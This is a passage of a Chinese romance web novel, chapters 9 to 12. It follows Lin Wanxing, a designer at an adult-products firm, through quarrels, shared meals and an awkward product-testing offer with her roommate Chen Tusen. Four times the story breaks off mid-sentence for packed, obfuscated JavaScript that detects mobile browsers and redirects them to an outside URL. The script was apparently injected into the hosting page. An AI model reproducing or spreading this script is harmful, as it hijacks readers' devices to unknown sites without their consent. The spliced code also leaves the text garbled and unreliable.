他的眉心再次拧了起来。 刚刚冷却下来的身体，还有残余的火星，触碰到干燥的空气，再次有燎原的迹象。 他紧抿双唇，走到客厅给自己倒了一杯冷开水，却还是无法压下心头的燥火。 无奈，他只好走到林晚星的房门外，却听到声音愈发清晰。 他深呼吸一口气，抬起手，敲了敲门。 9. 第 9 章 他的敲门声像是惊扰了里面的春色，所有声音戛然而止。 随后，林晚星有些沙哑的声音响起：“谁啊？” 陈图森：“我。” 林晚星：“有事？” 陈图森：“有。” 林晚星：“那你等一下。” 确实只等了一下，门就开了。 林晚星披散着的头发有些凌乱，她疑惑地看着眼前的室友，问道：“什么事？” 陈图森并没有立即回答她，而是伸长脖子向房间里面望去。 里面没人，床铺也不算很凌乱。动作还挺快。 陈图森直接问：“人呢？” 林晚星莫名其妙：“我在这啊。” 陈图森：“另一个人。” 林晚星：“哪来的另一个人？” 陈图森：“……”还跟他装傻。 他不耐烦地问道：“躲衣柜里了？” 林晚星不解地皱了皱眉，怎么有种抓奸现场的感觉。 她摇摇头，说道：“没人啊，一直都只有我一个人在房间。” 陈图森也蹙起眉头：“没人？” 林晚星坦荡荡：“啊。” 陈图森：“没人……那你刚才，怎么发出那种声音？” 林晚星顿时明白了。 她解释道：“我在工作！” 陈图森眉头拧得更紧了：“工作？” 他的脑袋将能想到的工作，和这种声音进行匹配，最后得出了正常人都能想到的答案。 他不敢确定，问道：“你做的是哪门子工作？” 换作以前，林晚星估计就不敢跟他明说了。 然而，在蜜语待了一段时间，今天又被顾歆“洗脑”后，她大大方方地说：“我是一家成人用品公司的视觉设计师。我刚才是在测试我们公司的产品。不好意思，是不是吵到你了？” 能不吵到吗？ 他刚才仿佛跟她隔空大战了一场。 她在房间，他在浴室。 她出声，他出力。 当然，这么羞耻的话他说不出。 陈图森的两片薄唇抿得紧紧的。 原本想要来谴责她再次违反合租规定，却发现由始至终都是自己的误会。 吵是吵了点，但人家在自己的房间里做正当的事，他却胡思乱想。 这么一来，不对劲的人，反而是他。 身体的燥热未了，无名的怒火却又升起。 他不是气林晚星，他是气自己。 理智被燃烧得所剩无几，他口不择言地抛出一句： “哪个好人家的女孩会做这种工作。” 林晚星脸上原本带着歉意的笑凝固了。 她今天已经接受了性不是洪水猛兽，她无需害怕，亦无须羞耻。 然而，陈图森的话一出，她像是被人兜头泼下一盆冰水。 内心的小人瞬间又蹿入那个紧锁的小房子。 林晚星浑身微微颤抖，因为被误解、被羞辱。 可是，陈图森这句话，羞辱的不是她一个。 羞辱的是顾歆、是蜜语所有的人，是从事这个行业的每一个人。 甚至是，所有有着正常性需求的人。 她可以被误解被羞辱，但是她不能容忍她的同事因为她也被羞辱。 她们明明都是大大方方、善良美好的女孩子。 她们虽然坦然谈性，却从未听说过她们男女关系混乱。 哪怕她们怂恿她去体验性，也是建议她尝试小玩具，而不是去街上捡个男人回家玩。 “没有人会因此觉得你是一个badgirl。” 顾歆说错了，就是会有人这么认为。 她冷冷地看着陈图森，质问道： “你凭什么这么说？” “做这个工作的女孩子又怎么了？凭什么好人家的女孩就不能做这个工作？” “我们不偷不抢，不嫖不淫，凭实力赚钱，我们哪做错了？” “我们这个工作，是为了让所有人都能安全、放心、愉悦地享受性生活，这有什么问题？” “难道你就清高，你就从来没有过性需求吗？” 陈图森第一次被人赤裸裸地质问这个问题，刚才身体的燥热感和在浴室的画面重新侵袭大脑。 心头既羞又愧，他还是第一次见自己的室友这么生气。 哪怕他搬过来的第一天，她得知自己租到一个异性室友，也只是像个竖毛的小猫一样龇牙咧嘴，想要威胁他搬。 这是他第一次见她生气。 他意识到，自己真的太过分了。 其实，刚才话一出口，他就知道自己失言了，可是他不擅长辩解。 况且伤害已经造成，辩解也是徒劳。 “对不起。” 这是他唯一能说的。 “不！接！受！” 林晚星“砰”地一下，大力地用房门将他的道歉甩了出去。 …… 接下来几日，林晚星在家里见到陈图森，不再像以往一样笑嘻嘻地跟他打招呼。 如非必要，她甚至不跟他说一句话。 反正他们的室友关系只留存一个月，而现在已经过去一个星期了。 说起来，她还得加快找室友的速度。 林晚星如今的反应，是陈图森刚搬进来时候希望看到的。 安静，互不干涉。 然而，不知道是不是习惯了她以前每天早上热情的问候，现在他想要跟她打个招呼，却只能看到她的冷脸。 竟有点怪怪的。 心里很不是滋味。 而林晚星并没有被陈图森的话影响，想要干什么继续干什么。 在公司里也可以加入同事们的讨论。 小优打趣道：“小星星，你最近好像经验丰富哦，该不是真的找了个男朋友吧？” 林晚星故作神秘地“嘿嘿”两声，说道：“是找了个男朋友，不过是电子男友。” 小优立刻get到了，赞许道：“孺子可教也！” 沈碧却摇摇头叹息：“这样一来，恐怕你以后就很难找男朋友了。” 林晚星不解：“为什么？” 沈碧：“因为，接触了这些小玩具后，你会发现很多男的还不如玩具。” 林晚星惊讶地“啊？”了一声。 小优同意地点点头：“虽然我男朋友还行，不过平心而论，小玩具真的比男的靠谱多了，不会传染疾病又不会意外怀孕，还比男人持久，用起来简直不要太舒服。” 沈碧附和道：“对啊，毕竟这个年代要找一个长得帅、身材好、技术佳，还要生活检点、健康干净的男人，太难了。还不如挑玩具来得快。” 小优用力地点头：“这种男人，简直就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543144|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要从幼儿园先预定好开始培养！” 说完，她扭头看向林晚星，问道：“晚星，你喜欢什么样的男人啊？” “……”林晚星眨了眨眼，怎么又绕到这个话题了。 她好像还没认真考虑过自己的择偶对象，不过脑海里想起沈碧刚才说的那几点。 长得帅、身材好……虽然有点外貌协会，但是怎么说也是基本条件吧。 虽说身材样子不能当饭吃，但是对着肥头大耳的丑男人，她简直饭都吃不下，更别说睡。 她复述着沈碧的话，掰着手指说：“长得帅、身材好。” “嗯嗯嗯！”小优快速地点头，追问道，“还有呢？” 技术佳……林晚星琢磨了一下，也不说要多好，至少不要比小玩具差吧，不然她还谈什么男朋友呢？谈个玩具算了。 林晚星又掰下一根手指，说道：“技术不能比玩具差。” 小优努着嘴想了想，评论道：“那可能有点难。” 林晚星忍不住一笑，又想着沈碧刚才说的最后两点“生活检点、健康干净”。 既然是要一起吃饭睡觉的关系，这两点也是很重要的。 她把最后两根手指也掰下去说道：“生活检点、健康干净。” “那不是和碧姐刚才说的一样嘛！”小优觉得没意思。 “嗯。”林晚星笑道，“我觉得姐说的这是基本要求，至于其它，还没想到。” “能符合基本要求，已经是绝世好男人了，你还想要什么附加条件。” 小优白了她一眼，问道，“你自己说说吧，生活里有遇到能符合那五点要求的男人吗？” 林晚星看着自己攥成拳头的五指，每根手指分别对应着“样子帅、身材好、技术佳、生活检点、健康干净”，她张开五指，掌心倏地出现一个人影。 那人长着一身冷白的皮肤，五官优越而不凌厉，是一种干净清爽的帅气。 他的肌肉紧实，腹部铺着一层薄薄的腹肌，健康有力，又不像肌肉男一样粗壮。 生活自律，爱干净。 就是不知道技术好不好，不过看他腹部那层肌肉，好像也行…… 她竟然鬼迷心窍地想，不知道有没机会试一试。 “啪！”突然意识到自己在想什么，林晚星猛地反手一掌拍在桌子上，仿佛陈图森就在她的掌心里，恨不得把他拍死！ 他上次才刚对她说“哪个好人家的女孩会做这种工作”，她现在竟然还想着睡了他，岂不是再给他机会嘲讽她！ 办公室的人都被吓了一跳。 小优担心地问道：“小星星，你……你怎么啦……” “嗯？”林晚星醒过来，突然倒吸一口气，眼泪都要飙出来，她抬起手甩了甩，好痛…… 她苦笑道：“没什么，想起一个贱人而已。” “贱人？”小优吃瓜的双眼亮晶晶，追问道，“有故事欸，什么人啊？” 林晚星摆摆手，像在赶走一个烦人的苍蝇，说道：“算了，不提他，提起生气。” “行吧。”小优吃不成瓜，有些失望。 她身体重新坐直，准备投入工作，又抬眸看向林晚星，安慰道： “你也不用气，男人嘛，你就把他当成一个大型玩具，能让你爽就够了。你说，玩具不听话，我们有必要跟他生气吗？” “气坏自己多不值。” 10. 第 10 章 林晚星实在是震惊于小优思想的前卫，以及精神状态的良好。 说来也像，她的室友，天天冷着一张脸，话也不爱多说两句，简直就是一个长得帅身材好的机器人而已。她跟一个机器人生什么气呢？就像Deepseek跟你胡说八道，你还跟它生气冷战么？那不是自讨苦吃。 而且，他们还只是两个萍水相逢，暂时合租一个月的室友。 他搬走后，两人就桥归桥，路归路了。 她怎么能够期待对方去理解她，理解她的工作呢？ 她自己一开始还对这个行业存在偏见呢。 想通了之后，林晚星感觉舒畅多了，胸口那股气好像散了。 不再堵着堵着。 下班后，林晚星不加班，在办公室磨蹭了一会就走了。 她本想吃了饭再回去，但是办公室附近的餐饮店都很贵，一个人吃也不好做饭。 没什么头绪，她回到家楼下，买了包泡面回去。 她以前对吃还挺讲究，但是自己一个的话，她就没有煮饭的动力。 进入社会之后，她越发觉得，吃饭不过就是维持生命的一种方式，吃什么都没多大关系。 回到家，刚打开门，她就闻到一股诱人的香味，眼睛一亮，是蛋炒饭！ 谁煮的？陈图森？ 她换好鞋，从玄关走出，故作随意地往厨房望去，刚好看到陈图森捧着一碗蛋炒饭从厨房走出来。 林晚星立马把头缩了回去，下意识地昂着头，傲娇地准备回房间。 陈图森的目光却落在她手上拎着的泡面上。 他抿了抿双唇，微微张开又阖上，欲言又止。 眼看林晚星就要回房间，陈图森终于开口说道：“那个……你……还没吃饭？” 林晚星本想怼回去“吃没吃又怎样”，不过话即将出口，她想起小优的话，又把想说的话吞了回去。 她深呼吸一口气，告诉自己，不要跟一个机器人生气。 最后，她冷淡地应道：“没呢。” “你不介意的话……我，煮多了。” “什么？”林晚星一下子没get到他想表达什么。 陈图森指了指自己的碗：“炒饭，锅里还有。你要是不介意，帮我吃点。” 林晚星站在原地没动，陈图森刚刚说出的那句不算长的话却令她的大脑几乎宕机。 什么意思？她那个平时见面都不屑于打招呼的室友，是在邀请她一起吃饭？ 陈图森见林晚星迟迟没反应，自行挽尊：“如果不想吃，也没关系。” 这是真的煮多了？还是说……他是在跟她道歉？ 她本来觉得他就像个机器人，就算她在跟他生气，也许他都没意识到。 不过，此刻再回想起这几天的事，她还是发现一些端倪。 陈图森有好几次都莫名其妙地看着她欲言又止，只是那时她正在生气，不想搭理他。更是觉得他狗嘴吐不出象牙，也不知道是不是又想嘲讽她什么。 现在看来，也许他是想和自己道歉？ 林晚星想要试探一下，傲娇地说：“吃可以吃，但我不洗碗。” 她还记得两人之间绝对的AA制，一人煮饭另一个人就洗碗。 陈图森点点头：“嗯，我洗。” 他竟然愿意作出让步，违背了自己顶下的规矩。 林晚星的嘴角这才往上翘了翘：“那我就勉为其难，帮你吃一点吧。” 她回房间放下挎包和泡面，再走进厨房，盛了一碗饭。 她捧着饭，从厨房走出来，嘴里有些嫌弃的说道：“你这蛋炒饭，还真是名副其实的蛋炒饭啊，除了蛋和饭就没别的了。” 陈图森认真地请教：“那还要放什么？” 林晚星把碗放在桌子上，坐下答道：“很多啊，胡萝卜、青菜、玉米、火腿肠，都可以。喜欢吃什么就放什么。” 陈图森一脸受教了的样子，轻轻点点头：“嗯。不过我比较喜欢只放蛋。” 林晚星微微翻了翻白眼：浪费口水。 为了不再浪费口水，林晚星闭嘴低头吃饭。 刚吃了一口，她感觉味蕾就被刺激到了，这种兴奋的感觉经过神经传遍全身，她整个人滞愣了一下，又扒了第二口。 “你这蛋炒饭是真好吃啊！”林晚星嘴巴还在嚼着，已经等不及竖起大拇指表扬。 陈图森的脸颊泛起了淡淡的红晕，不好意思地低下头：“我就只会煮蛋炒饭。”说完没一会，他又补充道，“和泡面。” 泡面？林晚星想起自己刚才拎回来的泡面，把嘴里的饭往喉咙一咽，笑出了声：“那你以前肯定很经常吃泡面。” 陈图森抬起头问：“你怎么知道？” 林晚星：“你看起来就是那种什么事都只想图方便，就算吃也随便对付对付的人。” 被她说中了，陈图森有些不好意思地低下头。 他确实是这样。 就连会煮蛋炒饭，也是因为它够方便。 不想放其它配菜，也是图省事。 以前吃腻了泡面，偶尔就会给自己煮个蛋炒饭，一次还可以多做一点放冰箱。 林晚星碗里的饭只剩一半，她看着这平平无奇的蛋炒饭，米饭粒粒分明，裹着黄色蛋液，金黄饱满。 她忍不住再次夸赞道：“我还是第一次吃到这种味道的蛋炒饭。” 陈图森脸上红晕稍浓。 他一开始也不会做，一步一步对着菜谱也不会。 但他天生学习能力就很强，煮过两三次后，就摸到了窍门。 慢慢炒出他自己喜欢的口味。 陈图森有些不好意思，低声说道：“喜欢就好。” 他怔怔看着林晚星吃得一脸满足的样子，看样子，她应该不生气了吧。 这时，林晚星却突然抬起头看向陈图森，两人的视线撞在一起。 陈图森心头慌乱，赶紧低头吃饭。 林晚星看着他，提议道：“陈图森，你平时加班多吗？” 陈图森思索片刻，说：“还行，看情况吧。” 林晚星：“我在想，要不以后我们在家里煮饭吧！” 陈图森：“嗯？” 林晚星解释道：“你看，在家里吃便宜、健康又干净。而且，我也挺喜欢煮饭的，只是一个人煮，真的很难买菜。煮多了又吃不完，煮少了都不够沾锅。要是你不常加班，我们就可以回家煮饭吃，买菜钱AA，做饭的人就不洗碗。” 陈图森认真地听着林晚星的建议，他的心里是下意识拒绝的。 他习惯独来独往，不喜欢和人商量着做事情。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543145|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可是，不知道是不是今天餐桌的氛围出奇得好。 他竟然想着，要是每天下班回来，有人能坐在一起吃着饭聊聊天也不错。 于是，他点点头：“可以。” “太好了！”林晚星很高兴地双手一拍，开始规划，“这样，以后我们谁下班早就给对方发个信息，问下对方加不加班，回不回来吃饭。如果回的话，先下班的就去买菜回来做饭。不做饭的就洗碗。” 安排妥当，分工合理，听起来没毛病，陈图森点点头：“可以。” 接下来一段时间，两人过起了“过家家”的生活。 以前只用转账来交流的聊天框，开始多了其它内容。 星：【我今晚不加班。】 Sam；【我会晚一点点，不过能回去吃饭。】 星：【那我先去买菜。】 Sam：【行。】 林晚星不经常加班，直到他们新产品上市前一天，全公司都在开会。一直开到下班都没结束。 林晚星提前给陈图森发信息：【还在开会，今天会晚回。】 Sam：【那今晚我煮吧。】 Sam：【蛋炒饭？】 星：【可以，很久没吃了！】 林晚星回到家的时候，刚开门就闻到了熟悉的蛋炒饭香味。 她回房间放下包，就溜到厨房。 陈图森还在炒着。 他穿着一件浅蓝色的T恤，外面套着一件墨绿色的外搭衬衫，一条黑色牛仔裤，是他一贯的简约风格。 他没有穿围裙，一手拿着锅铲，另一只手手臂肌肉绷直，抓着锅的长手柄，看似轻轻一颠，锅里的饭就跳了起来，然后又悉数回到锅里。 “哇~” 林晚星忍不住惊叹：“原来你是这么炒蛋炒饭的，难怪味道跟我炒的不一样。” 锅太重了，她颠不起。 陈图森没说话，只是有点怀疑今天的火候是不是有点大，他觉得有点热。 林晚星继续靠在厨房的门框上，欣赏陈图森做饭。 他每次颠勺的时候，手臂的肌肉都会紧绷，青筋凸起，充满力量感。 这人平时看起来斯斯文文，没想到做起饭来竟然还挺性感。 不知道怎么回事，林晚星看着眼前的人，他的衣裳突然消失，仿佛回到两人第一次见面时，他赤裸着上身的样子。 是啊，他只是看起来斯文而已，她没忘记他腹部那层紧实有力的肌肉。 那天和同事聊天的内容在她脑海浮现，小优问她喜欢什么样的男人。 她重复了碧姐说的：长得帅、身材好、技术佳，生活检点、健康干净。 而眼前的人，不仅占了四项，而且还会煮饭，是加分项。 就是不知道技术怎么样。 也许是平时上班看了太多科普知识，如今脑海自动进入复习模式，自动播放平时看过的姿势动作。 他在厨房是这个样子，不知道在床上又是什么样？ 于是，头脑里科普知识中的男主角变成了眼前的人。 陈图森觉察到林晚星愣愣地看着自己，有些失神，他关心地问道：“饿了？” 林晚星点点头，尔后，又摇摇头。 鬼使神差地，她开口问道：“陈图森，你有跟人上过床吗？” 11. 第 11 章 只听“pang”地一声，锅重重地砸在灶台上，火也被吓了一跳，惊起了零星的火星子。 陈图森正颠着勺，听见林晚星的问题，吓得锅都差点摔地上。 林晚星也被惊醒，却事不关己地问：“你怎么啦？” 陈图森刮了一眼刀过来：“应该是我问你怎么啦？” 林晚星不解：“我怎么啦？” 不就关心一下室友的性生活问题嘛。 有就有，没有就没有，砸锅算怎么回事？ 陈图森无言以对，只好将注意力重新转移到炒饭上。 可是那个问题却在脑海里萦绕不去。 他开口问道：“有没有，又怎样？” 林晚星已经翻篇了，反问道：“什么有没有？” 陈图森：“……你刚才问的问题。” 林晚星：“哦，没怎样，就是好奇。” “……”不知是不是没有得到期待的回答，陈图森心里像是有无数只蚂蚁在爬，瘙痒难耐。 “为什么对我，这个问题……好奇？” 林晚星：“好奇就好奇呀，还能有为什么？” 她们同事在公司偶尔也会互相交流经验心得，哪有那么多为什么。 不过林晚星转瞬就明白了：“你这么紧张，是没有过？” 陈图森这下更紧张了，抓着锅柄的手不由得加紧了力度，表面却故作镇定问道：“我紧张了吗？” 林晚星点点头：“锅都拿不住了。” 陈图森：“……” 谁被女孩子这么问能不紧张？ 他不服气地呛回去：“说得你有过一样。” 林晚星被噎到，她确实也没有过。 但她不能输。 她叉着腰回怼：“至少我跟玩具有过。” 不就是电动和人工的区别，四舍五入等于有过。 陈图森似乎轻轻地哼笑一声：“这么比的话，谁没有过。” 欸欸，这怎么还五十步笑百步了！ 林晚星还想怼回去，陈图森关火，说道：“拿碗吧，可以吃了。” 这个话题莫名被轻飘飘地揭过去。 但刚才无心的一段试探，却让他们的体内发生着微妙的变化。 一粒火星子落入了他们心里，触碰到了原本潜藏在身体深处，一直安安分分的名为“情.欲”的火种。 仿佛一座即将苏醒的火山，风平浪静的表面下，是看不见的汹涌能量。 …… 蜜语的超薄水润款新品上市一周，在各个平台上收到了不少用户反馈，称这款产品太滑了，会在中途滑落。 针对这个问题，顾歆召开了一个会议。 小优有些怀疑地说：“这会不会是同行雇的水军故意来黑我们啊，之前的测试中也没有人反馈过这个问题啊。” 研发部的高菲菲也说道：“其实安全套本身就存在脱落、破损的风险，所以避.孕的成功率是在98%左右，不能保证100%。感觉像是想抓住我们增加水润度这个卖点反过来攻击我们。” “是啊。”客服的小风也附和道，“而且我们自己也有体验过，都没有遇到过这些问题。有个例很正常，但是现在几乎每个平台都能看到这些黑帖和差评，就有些故意了。” 蜜语每一款产品上市前，都会经过一系列严格的测试，而公司对这款新产品尤其重视，不仅邀请了很多测评博主体验，还邀请了几百个普通用户参与测评，并没有人提到因为增加了水润度而导致滑落的问题。 甚至公司的员工也几乎参与了这款产品的体验。 都没人遇到过这个问题。 如果是因为新手操作不当导致的，那也不会铺天盖地地每个平台都有。 大家各抒己见，基本都偏向于她们是被人攻击了。 顾歆发现会议室里就林晚星没有说过一句话，问道：“晚星，你觉得呢？” 林晚星刚才一直没有发表意见，她体验过这款产品，确实挺好用的，也没有出现这个问题。但除此之外，她就说不出什么了。 “我也没遇到过这个问题。” 说了跟没说一样。 她的一句话像是一锤定音，让大家安静下来了。 毕竟该说的都说了，现在就等顾歆的处理意见。 小优却想起了什么，扭头问林晚星：“小星星，你是用玩具测试的这款产品？” 林晚星点点头：“是啊。” 小优：“那你的意见不适用。” 林晚星：“为什么？” 高菲菲笑了笑，帮小优解释：“因为，安全套会出现滑落的情况，大多出现在男方身寸了后，因为**疲软导致的。而小玩具是不会有这种变化。” 林晚星恍然大悟，原来电动和人工还存在这样的区别。 小优旧话重提：“所以说，你要不还是找个男朋友吧。跟小玩具，是两种不同的体验。” 林晚星：“……” 她有些无语，“不是我不想，只是如果找男朋友这么容易，我也不会母胎单身22年了。” 小优抓住了关键词：“那就是你也想找了？不过你的要求是五项全能，确实难找了些。要不你看看哪些条件能稍微放宽的，我好帮你物色物色。” 林晚星赶紧拒绝：“不用麻烦了，我开玩笑的。” 小优不罢休，问道：“还是你已经有了目标？” 这句话像是打开了什么开关，一个有着六块腹肌，手臂紧实有力的身影闯入脑海。 林晚星瞬间脸红了。 小优手指往她脸上一戳，笑道：“脸红了？还真有目标啊？” 林晚星尴尬地说：“没有，别乱说。而且现在开会啦， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543146|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别说我的事情。” 顾歆却没有追究，反正正事也讨论得差不多了。 她笑着对林晚星说：“没什么好害羞的，有喜欢的人就大胆去追。而且，从事我们这行，拥有丰富的性经验也很重要，有一个固定伴侣确实好一些。” 林晚星都要哭了：“歆姐……” 怎么连老板也这样？ 她到底是来上班还是来解决单身问题的？ 怎么公司上下都关心她找男朋友的问题，比她亲妈还着急。 顾歆嫣然一笑，回归正题：“不管怎样，既然有问题，我们还是要积极应对。” “小优，你再安排一波测评，包括博主和普通用户。同时，对于各个平台上出现的避雷、质疑进行合理地引导。” “小风，你注意传达给下面的客服人员，关注下消费者有没有这方面的评论，如果有人因此要退款我们尽快给处理。” “大家也可以将我们的产品给身边的朋友试用，看下是否会出现这个问题。” 领了任务后，大家便各自去忙碌了。 林晚星没有具体的任务，要是以前，她或许会很开心。 可是，这段时间她是越来越喜欢这份工作了，她也是真心希望能够帮助公司。 晚上回到家，她看着放在床上的小雨伞，一筹莫展。 按照她们的说法，滑落这个问题，是用小玩具测试不出来的。 那她还能怎么办？ 歆姐说可以让身边的朋友试用一下，可是她身边没什么朋友啊。 宋知暖跟她一样，也没有男朋友，给她也没用。 可是，除了她之外，她在江城就没什么朋友了。 要不，发个朋友圈，看谁需要就找她拿？ 她点了点头，肯定了自己的想法，拿出手机立刻就发了条“免费试用”的朋友圈。 没一会，立刻有人回复了： “林晚星，你这是去干嘛了？” “你是不是被盗号了？” “这是什么牌子，听都没听过，安全吗？” …… 林晚星一个个回复，手指都解释到发软，结果全是看热闹，没一个认真要试用的。 她沮丧地把手机扔到床上，闭上眼睛，叹了口气。 这时，她听到门被打开又关上的声音。 陈图森回来了。 林晚星倏地从床上坐起来！ 这不是还有一个朋友近在眼前嘛！ 不过，陈图森有女朋友吗？ 他平时这么宅，看着也不像。 上次问他有没跟人上过床，他是怎么说来着？ “这么比的话，谁没有过。” 那就是有？ 嗐，管他有没有！ 她拿起床上那盒套套，飞奔到陈图森的房间外，敲响了他的房门。 12. 第 12 章 房门打开，露出了陈图森疲惫的面容。 林晚星也顾不上那么多，直接将手上的东西伸到他眼前，问：“你要不要试一下？” 陈图森的头微微后仰，双眼视线得以聚焦在眼前的东西上。 许是看清了是什么东西，他瞳孔微缩，眉心拢了拢。 似乎不太明白她的邀请是什么意思。 但心头炙热的火种有起火的苗头。 他的双眼探究地从那盒东西上转移到林晚星脸上。 可是，她的样子坦荡得就像拿着一盒饼干问他要不要试一下。 无名的燥火更盛。 胸口像是罩上了夏日沉闷黏湿的空气。 以前在南杭，他就听过不少合租的男女最后发展成炮友的事。 这也是他不想和人合租，尤其是和女生合租的原因。 他不是随便的人，他也没心思搞这些乱七八糟的事。 滚烫的喉结上下滑动了一圈，他将心里头刚窜起的火苗生生压下。 管她是什么意思，他不想奉陪。 “不用。”他生硬地开口说道，却发现自己声音莫名地沙哑。 他有些尴尬，匆匆将门关上。 林晚星吃了个闭门羹，怔怔地站在门外。 也许是这段时间他们经常一起吃饭，让她忘记了他原本是一个多么高冷不爱说话且喜欢拒人千里的人。 可是，她也不想就此罢休，她抬手再次敲门。 这一次，陈图森脸上，除了疲惫之外，还有肉眼可见的烦躁。 林晚星咧开嘴，补充一个关键信息：“免费的。” 陈图森的眉头拧出一个“川”字：“……” 这是免不免费的问题吗？ 见陈图森无动于衷，林晚星再次补充道：“我说的是这套。” 陈图森的眉头已经皱成深深的沟壑。 今天，他负责的一个系统，一直出现警报，他修复了大半天才搞掂下班。 现在代码还像蚂蚁一样密密麻麻地爬在脑子里，他的女室友还偏偏要在这里时候挤进来添乱。 在他面前说着诱人犯罪的话，而且还是一个字一个字地往外蹦。 他已经搞不清楚哪个字该跟哪个字连。 是单纯这个套免费？还是一整套都是免费？ 陈图森感觉太阳穴有根神经在突突直跳，胸口的火苗也被她拨弄的熊熊燃烧起来。 他深呼吸一口气，脑袋补充了足够的氧气才猛地醒过来，想起了她的工作。 所以，她这是自己测评还不够，还想再拉个工具人来测评？ 想到这，陈图森被气笑了，不过他也不知道自己是气林晚星，还是气自己刚才那一瞬的胡思乱想。 被她这么一搅，陈图森浑身的疲惫好像忽然逃散，竟然也有了一丝玩闹的心思。 他双臂抱在胸前，低头好整以暇地看着林晚星。 “林晚星，我是一个男人，一个正常的男人。” 林晚星有点懵，是一个正常的男人好啊！ 正常的男人才能测试啊！ 咦？不对！ 还是说，不那么正常的男人也参与测试，可以让样本更多样化，得出更全面客观的结果？ “所以……” “所以，”陈图森将话接了过去，“你知不知道，你这样拿着一盒安全.套，问一个男人要不要试一下，意味着什么？” 她眼珠子转了一圈，双脚不自觉地后退了两小步：“意味着什么……” 陈图森无奈地叹了口气，也不知道眼前这个人是真的迟钝还是装傻。 要是换作别的男人，估计已经被人拖进房间去了。 他有些恶劣地想要逗弄她一下，好让她知道，在男人的原始欲望上反复蹦跶是一件多么危险的事。 他嘴角微微勾起，浅笑道：“我可以试啊，但我跟谁试呢？” “……” 林晚星咽了一口口水，心里暗暗骂道： 我管你跟谁试！她只负责提供产品啊，难道上.床对象还要她负责提供？ 不对，他的意思是…… 她试探地问：“你，没女朋友啊？” 陈图森反问：“你怎么就觉得我有呢？还是你见过？” 林晚星尬笑：“怎么可能，我怎么会见过。” “我发现你真的挺关心我的生活。尤其是指那方面。” 陈图森继续逗她，“你这样，很容易让我误会，你是不是对我有什么想法。” 林晚星的两颗眼球滴溜溜地又转了一圈，她平日里想入非非的画面又自动在脑海里播放。 还真被他说中了，她还确实是对他有想法。 这么想着，林晚星的脸颊彻底覆上了一层红晕，心脏像是擂鼓一样，砰砰直跳，几乎要冲破嗓子眼。 “你你你你……”林晚星紧张得结结巴巴，恶人先告状，“你的思想怎么那么龌龊！我好心给你试用我们公司的新产品，你还……还……污蔑我！” 她将那盒东西抱在胸前，气呼呼地说道：“不给你用了！” 林晚星像小仓鼠抱着零食飞窜回窝里一样，面红耳赤地冲进房间，一把扑到在床上，将自己的脸埋在枕头上。 天啊，丢死人了丢死人了！ 她抬起头，有些绝望地喘了口气，他该不会有什么读心术，真的知道我垂涎他的肉.体吧？ 可是，我也不过就是想一下而已，又没想真吃！这不犯法吧？ 哪像他，还直接说出来！ 他不要脸，她还想要呢！ “啊——”林晚星大声哭了起来。 她被毁了，她脏了。 她的思想脏了，脏了还被人知道了。 她那么纯洁的一个人，现在脑海里怎么满是黄色废料。 可是，这能怪我吗？ 谁让他长这么帅的？ 谁让他身材这么好还要在她面前衤果的？ 他不给她填充素材，她大脑能自动生成黄色废料吗？ 现在还反过来咬她一口，说她对他有想法。 就算她真的有想法，也不过是想试一下人工和电动玩具的区别而已。 这可是非常正经的严肃的专业的科学实验！ 她气得拿起手机，其实也没想干什么，就是想刷刷手机分散一下注意力。 结果刚打开微信，就看到朋友圈有好几条新信息。 她打开一看，跟刚才好奇她现在做什么工作，以及在成人用品公司工作是什么体验不同，这次好几个是高中的同学，平日没什么联系，没想到这条朋友圈将他们炸出来了。 “不是吧，你竟然去卖套了？” “一个好好的女孩子去卖套，跟出来卖有什么区别？” 林晚星本来情绪就不是很好，看到这两条评论，顿时火气直冲天灵盖！ 她想要好好地回怼他们，然而双手竟然不受控制地发抖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543147|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最终她一个字都打不出来，她懊恼地将手机往边上一扔。 这段时间以来，她遭受到的歧视、误解全都涌了上来。 其实，她在公司里也听小风说过，她们在平台直播时，很多猥琐的男人会进来直播间。 他们是不会下单的，只会在撩骚。 “主播，我下单，可以有一次性补贴吗？” “买套能送主播吗？” 